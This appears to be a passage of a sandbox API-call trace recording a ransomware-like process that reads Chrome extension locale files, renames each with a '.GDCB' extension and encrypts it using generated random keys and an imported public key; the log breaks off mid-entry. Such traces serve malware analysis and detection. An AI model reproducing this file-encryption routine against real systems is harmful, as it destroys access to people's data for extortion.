[0256.327] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xce, lpOverlapped=0x0) returned 1 [0256.336] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.342] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.gdcb")) returned 1 [0256.348] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.353] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.353] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.353] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.356] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.358] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.358] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.358] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.358] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.361] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790160) returned 1 [0256.361] CryptGetKeyParam (in: hKey=0x6790160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.361] CryptEncrypt (in: hKey=0x6790160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.361] GetLastError () returned 0x0 [0256.361] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.361] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.363] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67904a0) returned 1 [0256.363] CryptGetKeyParam (in: hKey=0x67904a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.363] CryptEncrypt (in: hKey=0x67904a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.363] GetLastError () returned 0x0 [0256.363] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.363] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.364] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.367] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.369] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd8, lpOverlapped=0x0) returned 1 [0256.378] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.395] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.gdcb")) returned 1 [0256.402] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.406] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.410] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.410] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.410] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.410] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.417] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.417] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.417] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.418] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.421] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67907a0) returned 1 [0256.421] CryptGetKeyParam (in: hKey=0x67907a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.421] CryptEncrypt (in: hKey=0x67907a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.421] GetLastError () returned 0x0 [0256.421] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.421] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0256.423] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790620) returned 1 [0256.423] CryptGetKeyParam (in: hKey=0x6790620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.423] CryptEncrypt (in: hKey=0x6790620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.423] GetLastError () returned 0x0 [0256.423] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.423] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.425] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.427] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.430] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd8, lpOverlapped=0x0) returned 1 [0256.438] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.446] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0256.451] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0256.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.456] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.456] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.456] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.456] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.461] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.461] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.461] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.463] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67904e0) returned 1 [0256.463] CryptGetKeyParam (in: hKey=0x67904e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.463] CryptEncrypt (in: hKey=0x67904e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.464] GetLastError () returned 0x0 [0256.464] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.464] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.465] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67905a0) returned 1 [0256.466] CryptGetKeyParam (in: hKey=0x67905a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.466] CryptEncrypt (in: hKey=0x67905a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.466] GetLastError () returned 0x0 [0256.466] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.466] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.467] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.498] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.503] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdb, lpOverlapped=0x0) returned 1 [0256.511] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.520] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0256.526] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.532] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.532] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.538] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.538] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.538] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.538] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.541] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67908a0) returned 1 [0256.541] CryptGetKeyParam (in: hKey=0x67908a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.541] CryptEncrypt (in: hKey=0x67908a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.541] GetLastError () returned 0x0 [0256.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0256.543] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67907e0) returned 1 [0256.543] CryptGetKeyParam (in: hKey=0x67907e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.543] CryptEncrypt (in: hKey=0x67907e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.543] GetLastError () returned 0x0 [0256.543] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.544] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.548] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.551] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd7, lpOverlapped=0x0) returned 1 [0256.559] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.567] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0256.573] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.576] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.578] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.578] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.578] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.579] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.581] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.583] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.583] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.583] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.583] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.585] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67901a0) returned 1 [0256.585] CryptGetKeyParam (in: hKey=0x67901a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.586] CryptEncrypt (in: hKey=0x67901a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.586] GetLastError () returned 0x0 [0256.586] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.586] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.587] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790820) returned 1 [0256.588] CryptGetKeyParam (in: hKey=0x6790820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.588] CryptEncrypt (in: hKey=0x6790820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.588] GetLastError () returned 0x0 [0256.588] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.588] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.589] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.592] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.594] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0256.603] VirtualAlloc 